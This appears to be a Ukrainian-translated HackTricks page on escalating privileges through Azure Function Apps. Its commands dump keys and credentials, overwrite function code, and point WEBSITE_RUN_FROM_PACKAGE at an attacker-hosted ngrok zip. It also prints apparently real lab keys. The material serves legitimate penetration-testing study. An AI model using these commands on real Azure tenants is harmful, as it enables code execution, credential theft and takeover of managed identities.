25 KiB
Az - Functions App Privesc
{{#include ../../../banners/hacktricks-training.md}}
Function Apps
Перевірте наступну сторінку для отримання додаткової інформації:
{{#ref}} ../az-services/az-function-apps.md {{#endref}}
Bucket Read/Write
Маючи дозволи на читання контейнерів всередині Облікового запису зберігання, який зберігає дані функції, можна знайти різні контейнери (кастомні або з попередньо визначеними іменами), які можуть містити код, виконуваний функцією.
Якщо ви знайдете, де розташований код функції, і у вас є дозволи на запис, ви можете змусити функцію виконати будь-який код і підвищити привілеї до керованих ідентичностей, прикріплених до функції.
File Share(WEBSITE_CONTENTAZUREFILECONNECTIONSTRINGіWEBSITE_CONTENTSHARE)
Код функції зазвичай зберігається всередині файлового сховища. При достатньому доступі можна змінити файл коду і змусити функцію завантажити довільний код, що дозволяє підвищити привілеї до керованих ідентичностей, прикріплених до Функції.
Цей метод розгортання зазвичай налаштовує параметри WEBSITE_CONTENTAZUREFILECONNECTIONSTRING і WEBSITE_CONTENTSHARE, які ви можете отримати з
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
Ці конфігурації міститимуть Storage Account Key, який Функція може використовувати для доступу до коду.
Caution
З достатніми правами для підключення до File Share та модифікації скрипта можливо виконати довільний код у Функції та підвищити привілеї.
Наступний приклад використовує macOS для підключення до файлового сховища, але рекомендується також перевірити наступну сторінку для отримання додаткової інформації про файлові сховища:
{{#ref}} ../az-services/az-file-shares.md {{#endref}}
# Username is the name of the storage account
# Password is the Storage Account Key
# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py
open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
function-releases(WEBSITE_RUN_FROM_PACKAGE)
Також часто можна знайти zip релізи всередині папки function-releases контейнера облікового запису зберігання, який використовує функціональний додаток у контейнері зазвичай називається function-releases.
Зазвичай цей метод розгортання встановлює конфігурацію WEBSITE_RUN_FROM_PACKAGE у:
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
Ця конфігурація зазвичай міститиме SAS URL для завантаження коду з Облікового запису зберігання.
Caution
З достатніми правами для підключення до контейнера блобів, який містить код у zip, можливо виконати довільний код у Функції та підвищити привілеї.
github-actions-deploy(WEBSITE_RUN_FROM_PACKAGE)
Так само, як і в попередньому випадку, якщо розгортання виконується через Github Actions, можливо знайти папку github-actions-deploy в Обліковому записі зберігання, що містить zip коду та SAS URL до zip у налаштуванні WEBSITE_RUN_FROM_PACKAGE.
scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRINGтаWEBSITE_CONTENTSHARE)
З правами на читання контейнерів всередині Облікового запису зберігання, який зберігає дані функції, можливо знайти контейнер scm-releases. Там можливо знайти останній реліз у форматі файлу файлової системи Squashfs і, отже, можливо прочитати код функції:
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table
# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table
# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip
## Even if it looks like the file is a .zip, it's a Squashfs filesystem
# Install
brew install squashfs
# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
Також можливо знайти master and functions keys, збережені в обліковому записі зберігання в контейнері azure-webjobs-secrets всередині папки <app-name> в JSON-файлах, які ви можете знайти всередині.
Caution
З достатніми правами для підключення до контейнера blob, який містить код у файлі з розширенням zip (який насправді є
squashfs), можливо виконати довільний код у Функції та підвищити привілеї.
# Modify code inside the script in /tmp/fs adding your code
# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend
# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
Microsoft.Web/sites/host/listkeys/action
Ця дозволяє перерахувати ключі функцій, майстер-ключі та системні ключі, але не ключ хоста, вказаної функції з:
az functionapp keys list --resource-group <res_group> --name <func-name>
З майстер-ключем також можливо отримати вихідний код за URL, як-от:
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Access
curl "<script-href>?code=<master-key>"
## Python example:
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
І щоб змінити код, який виконується у функції з:
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
Microsoft.Web/sites/functions/listKeys/action
Цей дозвіл дозволяє отримати ключ хоста вказаної функції з:
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
Microsoft.Web/sites/host/functionKeys/write
Цей дозвіл дозволяє створювати/оновлювати ключ функції вказаної функції з:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/host/masterKey/write
Ця дозволяє створювати/оновлювати майстер-ключ для вказаної функції з:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Caution
Пам'ятайте, що з цим ключем ви також можете отримати доступ до вихідного коду та змінювати його, як було пояснено раніше!
Microsoft.Web/sites/host/systemKeys/write
Ця дозволяє створювати/оновлювати системний ключ функції для вказаної функції з:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/config/list/action
Ця дозволяє отримати налаштування функції. У цих конфігураціях може бути можливість знайти значення за замовчуванням AzureWebJobsStorage або WEBSITE_CONTENTAZUREFILECONNECTIONSTRING, які містять ключ облікового запису для доступу до блоб-сховища функції з ПОВНИМИ правами.
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
Крім того, це дозволяє отримати SCM ім'я користувача та пароль (якщо увімкнено) за допомогою:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
Ці дозволи дозволяють перераховувати значення конфігурації функції, як ми бачили раніше, плюс модифікувати ці значення. Це корисно, оскільки ці налаштування вказують, де розташований код для виконання всередині функції.
Отже, можливо встановити значення налаштування WEBSITE_RUN_FROM_PACKAGE, яке вказує на URL zip-файл, що містить новий код для виконання всередині веб-додатку:
- Почніть з отримання поточної конфігурації
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
- Створіть код, який ви хочете, щоб функція виконувала, і розмістіть його публічно
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
- Змініть функцію, збережіть попередні параметри та додайте в кінці конфігурацію
WEBSITE_RUN_FROM_PACKAGE, що вказує на URL з zip, що містить код.
Наступний приклад моїх власних налаштувань, які вам потрібно змінити на ваші, зверніть увагу в кінці на значення "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip", тут я розміщував додаток.
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
Microsoft.Web/sites/hostruntime/vfs/write
З цією дозволом можливо змінювати код програми через веб-консоль (або через наступну API точку доступу):
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
Ці дозволи дозволяють перерахувати всі профілі публікації, які в основному містять базові облікові дані аутентифікації:
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json
Ще один варіант - встановити свої власні облікові дані та використовувати їх за допомогою:
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
- Якщо облікові дані REDACTED
Якщо ви бачите, що ці облікові дані REDACTED, це тому, що вам необхідно увімкнути параметр базової аутентифікації SCM і для цього вам потрібен другий дозвіл (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
- Метод SCM
Тоді ви можете отримати доступ до SCM URL вашого функціонального додатку з цими базовими обліковими даними та отримати значення змінних середовища:
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
Зверніть увагу, що ім'я користувача SCM зазвичай є символом "$", за яким слідує назва програми, отже: $<app-name>.
Ви також можете отримати доступ до веб-сторінки за адресою https://<app-name>.scm.azurewebsites.net/BasicAuth
Значення налаштувань містять AccountKey облікового запису зберігання, що зберігає дані програми функцій, що дозволяє контролювати цей обліковий запис зберігання.
- Метод FTP
Підключіться до FTP-сервера, використовуючи:
# macOS install lftp
brew install lftp
# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
Зверніть увагу, що FTP-ім'я користувача зазвичай має формат <app-name>\$<app-name>.
Microsoft.Web/sites/publish/Action
Згідно з документацією, це дозволення дозволяє виконувати команди всередині сервера SCM, що може бути використано для зміни вихідного коду програми:
az rest --method POST \
--resource "https://management.azure.com/" \
--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
Microsoft.Web/sites/hostruntime/vfs/read
Ця дозволяє читати вихідний код програми через VFS:
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
Microsoft.Web/sites/functions/token/action
З цією дозволом можливо отримати адміністративний токен, який можна пізніше використати для отримання майстер-ключа і, отже, доступу та зміни коду функції:
# Get admin token
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01" \
--headers '{"Content-Type": "application/json"}' \
--debug
# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
Ці дозволи дозволяють включати функції, які можуть бути вимкнені (або вимикати їх).
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
Також можливо перевірити, чи функція увімкнена або вимкнена за наступною URL-адресою (використовуючи дозволи в дужках):
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
З цими дозволами можливо модифікувати контейнер, що виконується функціональним додатком, налаштованим для запуску контейнера. Це дозволить зловмиснику завантажити шкідливий контейнер додатку azure function на docker hub (наприклад) і змусити функцію виконати його.
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
З цими дозволами можливо прикріпити нову керовану користувачем ідентичність до функції. Якщо функція була скомпрометована, це дозволить підвищити привілеї до будь-якої керованої користувачем ідентичності.
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
Remote Debugging
Також можливо підключитися для налагодження працюючої Azure функції, як пояснено в документації. Однак за замовчуванням Azure вимкне цю опцію через 2 дні, якщо розробник забуде, щоб уникнути залишення вразливих конфігурацій.
Можливо перевірити, чи увімкнено налагодження для функції за допомогою:
az functionapp show --name <app-name> --resource-group <res-group>
Маючи дозвіл Microsoft.Web/sites/config/write, також можливо перевести функцію в режим налагодження (наступна команда також вимагає дозволів Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/Read та Microsoft.Web/sites/Read).
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
Зміна репозиторію Github
Я намагався змінити репозиторій Github, з якого відбувається розгортання, виконавши наступні команди, але навіть якщо він і змінився, новий код не був завантажений (ймовірно, тому що він очікує, що Github Action оновить код).
Більше того, управляємий обліковий запис федеративних облікових даних не був оновлений, що дозволяє новому репозиторію, тому виглядає так, що це не дуже корисно.
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1
# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true
{{#include ../../../banners/hacktricks-training.md}}